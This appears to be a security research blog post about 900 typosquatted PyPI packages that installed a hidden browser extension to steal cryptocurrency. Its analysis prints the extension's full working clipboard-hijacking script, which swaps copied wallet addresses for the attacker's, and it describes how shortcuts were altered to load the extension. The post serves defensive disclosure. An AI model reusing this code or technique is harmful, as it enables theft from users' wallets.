Visualização de leitura

900+ Malicious Python Packages Manipulating Victim’s Clipboard to Steal Crypto

Starting Feb 9 2023, an attacker published a total of 444 malicious packages via 22 different PyPi user accounts. The malicious packages infect the victim’s web browser with a hidden extension that manipulates the clipboard and changes the value of a copied crypto wallet address to match the attacker’s crypto wallet address.

Update 12/2/2023: The attack continues - 900 packages so far
Since the original publication of this blog, 456 additional packages containing the same code were found. All were published on 11/2/2023 using 17 additional PyPi user accounts. This brings the subtotal of packages found in the incident thus far to 900 from 39 different user accounts. PyPi quickly removed all new packages.

Stay tuned, as this attack may still be in progress, and it’s possible that new packages will be published in the upcoming days.

An updated package list.

Attack Technique

For those who are unfamiliar with it, Typosquatting is a malicious technique used by attackers to trick victims into downloading and installing what appears to be a legitimate open-source package but is actually a disguised version of the malicious packages containing harmful code.

In this incident, the attacker published packages that closely resemble the names of the following (highly popular) packages:

Update 12/2/2023:

As humans make typing mistakes, someone probably will mistype the name and will end up installing the attacker’s code.

Analyzing the Malicious Packages

All 444 packages share the same payload. The malicious code is executed upon installation and its obfuscated with variable names in Chinese (e.g. 馬女水女口目人馬鳥月水馬山山馬鸟)

After deobfuscating and debugging the malicious code, I saw the attacker was deploying a browser extension embedded in the code into the path %APPDATA%\Extension

To activate the extension as it is unlisted in the official marketplaces, the code modifies shortcuts to launch browsers placed in the following paths:

  • C:\ProgramData\Microsoft\Windows\Start Menu
  • %APPDATA%\Microsoft\Windows\Start Menu
  • %APPDATA%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar

Those shortcuts are modified to include the argument — load-extension=%APPDATA%\Extension to this closed list of web browsers’ .exe files:

  • chrome.exe (Google Chrome)
  • msedge.exe (Microsoft Edge)
  • launcher.exe (Opera Internet Browser)
  • brave.exe (Brave Browser)

Malicious Browser Extension

The browser extension is comprised of two files: manifest.json, which requests permission to access the clipboard, andbackground.js contain multiple regular expressions to replace copied Crypto wallet addresses with hard-coded wallet addresses owned by the attacker:

let page = chrome.extension.getBackgroundPage();

var inputElement = document.createElement('input');
document.body.appendChild(inputElement);
inputElement.focus();

function checkWalletAddresses() {
document.execCommand('paste');
var clipboardContent = inputElement.value;
clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, '0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63');
clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, 'TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa');
clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, 'bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw');
clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, 'bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2');
clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, 'LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3');
clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, 'rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx');
clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, 'DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx');
clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, 'addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz');
clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, '41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv');
clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, 'GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH');
clipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, 'cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y');

inputElement.value = clipboardContent;
inputElement.select();

document.execCommand('copy');

inputElement.value = '';
}

setInterval(checkWalletAddresses, 1000);

To see it in action, I made a short video demonstrating how this malicious extension manipulates the victim’s clipboard:

Timeline

  • Nov 4 2022: Attacker create an infrastructure of at least 22 PyPi user accounts
  • Feb 9–10 2023: Attacker publishes 444 malicious typosquatting packages to PyPi
  • Feb 10 2023: I reported to the PyPi security team
  • Feb 10 2023: PyPi security team removed the malicious packages

Conclusion

I started this investigation on Feb 10 when I noticed a typosquatting attack on Selenium. I originally reported a portion of this campaign, and I later continued to play with the tools my team created and discovered more related activities.

I reported the findings to the Python security team, and they quickly removed all malicious packages (special thanks to Ee Durbin).

Planned Attack

As all user accounts involved were created on Nov 4, 2022, this is a clue of a planned attack, and it doesn’t seem to be a coincidence the strike on weekends as attackers are aware defenders and the ecosystem's security teams might not have full availability during the weekend.

Package Names

Sharing the following gist with indicators of the package name as well as the user accounts

IOC


900+ Malicious Python Packages Manipulating Victim’s Clipboard to Steal Crypto was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

❌